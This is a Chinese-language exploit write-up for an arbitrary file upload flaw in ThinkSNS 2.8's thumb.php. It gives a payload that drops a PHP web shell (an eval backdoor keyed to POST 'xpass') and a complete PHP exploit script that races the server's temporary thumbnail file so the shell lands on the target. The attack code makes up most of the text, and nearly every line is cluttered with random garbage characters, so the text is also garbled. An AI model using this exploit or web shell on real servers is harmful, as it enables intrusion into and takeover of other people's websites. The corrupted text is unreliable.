漏洞版本
7 ~! N/ h b6 \; a存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)0 Z8 w Z6 L/ t& j! o
漏洞文件$ H3 B: m4 ~2 h
存在漏洞的文件为:thumb.php
% K, a/ V' t7 T: ^- ]% A作者:韦鲲鹏
3 F: B7 B$ S: V8 ^ \1、 准备如下PHP文件并上传到服务器(自己的)。
5 ]5 W6 \& B4 @文件内容如下:6 n" U$ e" g& V; P
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>% g! C; W" X+ D8 k4 M1 k$ |
2、 计算出临时的文件名:
$ Y# U( u8 A& r4 ] q" J& ]" N# }- T这里我们可以看文件的99行(刚刚是不是没注意呀!)。
7 V# R/ l- w8 l. ~+ f( Z H& A% h
/ K5 y8 u- O6 F3 W( u8 G4 s2 l2 ?3、 上传临时文件。( `, g$ ^! a" i% ^
4、 访问临时文件。5 _) s4 L: E+ u3 C& [) X
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
! I8 Y7 q5 F" Z0 o4 M' f( i* ?Exploit文件内容如下:(这个我就不详细解释了)
3 g8 i' U7 o7 k: M$ q<?php
6 P L' m% H3 g% M( qerror_reporting(0);
- B1 i! i! t* b( {1 Mset_time_limit(0);7 o/ f7 u. a) r, I7 b3 |% u
ini_set(“default_socket_timeout”, 5);
5 q2 c. c- R% H6 n. ~function http_send($host, $port, $headers) {2 N. W9 f& \; l' k( {
$fp = fsockopen($host, $port);
. m: d( Z- [) H" D* u' Rif (!$fp) die(‘Connection -> fail’);
2 ] g! T' Z: l8 K& }fputs($fp, $headers);
- \; d1 v& k2 |return $fp;) F' |5 C& n0 k0 M5 z1 a
}. w) [, N) a% g+ Y# K" C: w
function http_recv($fp) {/ d7 V( p( e* d3 h
$ret=”";
2 w1 C4 r9 O4 @% qwhile (!feof($fp))6 ?9 \3 y, B) G- x' g
$ret.= fgets($fp, 1024);
- [9 E: C: O2 ^( E) v- y. rfclose($fp);
' k4 e/ y n% o% k1 t8 Nreturn $ret;
' D% E' W& A7 `, ~! w# x}
( c5 N! ^$ c; ^# G7 L. y8 V" A- Kprint “\n# ThinkSns Arbitrary File Upload #\n”;6 D2 e( e2 m$ F z" f5 U
print “# Discovered by 韦鲲鹏 #\n\n”;4 o* }2 {" [0 ~$ i1 \# H7 G" [3 ~
if ($argc < 4) {
* ]' D3 B' v" Bprint “Usage: php <host> <path> <romote_url>\n”;
$ d, R7 U. S2 f! c* b1 R. kprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
/ R: p* {( m% B0 Z- ^ h3 R% A$ mdie();% C9 n7 C4 h# Z- O; K6 G. k
}
/ \( u8 \# ?1 Q. N$ D$host = $argv[1];9 {) Y4 L$ t3 m9 z
$path = $argv[2];" o& @9 u& `, r, e" m& U2 y0 H
$url = $argv[3];/ m* C7 f( @1 i) x/ \, }
$i=0;
6 R9 ], W1 x; d7 B& K//上传数据包
+ W% W1 [8 G0 B, D3 q/ o: k$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;1 ~1 [( M2 d, J, i* R
$headers_up .= “Host: “.$host.”\r\n”;' j3 a! [* v# g4 a
$headers_up .= “Connection: close\r\n\r\n”;
/ a1 K" R1 c |) ]2 R; Secho $headers_up;. W) K! C! E( @6 d5 ~, O8 m
//临时文件访问数据包
5 L2 A" a* V' m- C) t* A, b! |6 w$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;! J' c' D2 r3 \( w. Z0 m
$headers .= “Host: “.$host.”\r\n”;
. ~) ], m' P1 _& a9 U$headers .= “Connection: close\r\n\r\n”;: |& k. d5 M; X3 y; f
echo $headers;
+ s; ^% t' a0 @1 S- swhile(++$i<10) {
) c: \' K+ z* E: K8 P3 cfclose(http_send($host, 80, $headers));2 l. U2 g) Y1 W' M
}! U4 [# x3 n% g6 }' M7 k
fclose(http_send($host, 80, $headers_up));
# ]/ ^) L# I3 r' s$ o0 y- S F Zwhile(++$i<50) {7 g2 z+ N( L# N( J* H; L
fclose(http_send($host, 80, $headers));$ h; A. K/ @) l4 J
}. @$ n/ G8 u% e) i) I7 a+ Q
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;- L2 U6 [5 t4 s6 Z- W2 A7 a' O$ x# I
$headers .= “Host: “.$host.”\r\n”;! |( w, N! L* R1 R8 p3 x+ e
$headers .= “Connection: close\r\n\r\n”;* m Q: L: \" x0 `) R
$res=http_recv(http_send($host, 80, $headers));0 K& D9 V( _ b0 ` V
if(preg_match(‘/200 OK/’,$res)) {9 C; t6 I7 S7 H7 [
print “Success!\n\n”;1 m" |8 g% Q) P& J& V! T$ _* R
} else {
& z& v+ O, M0 C& l' ^print “Fail!\n\n”;
$ ~0 r% h' N, C @! {}
; Z1 e, T$ R; _ [: T?>
7 i) J: ]( {: V% X; n2 U' g |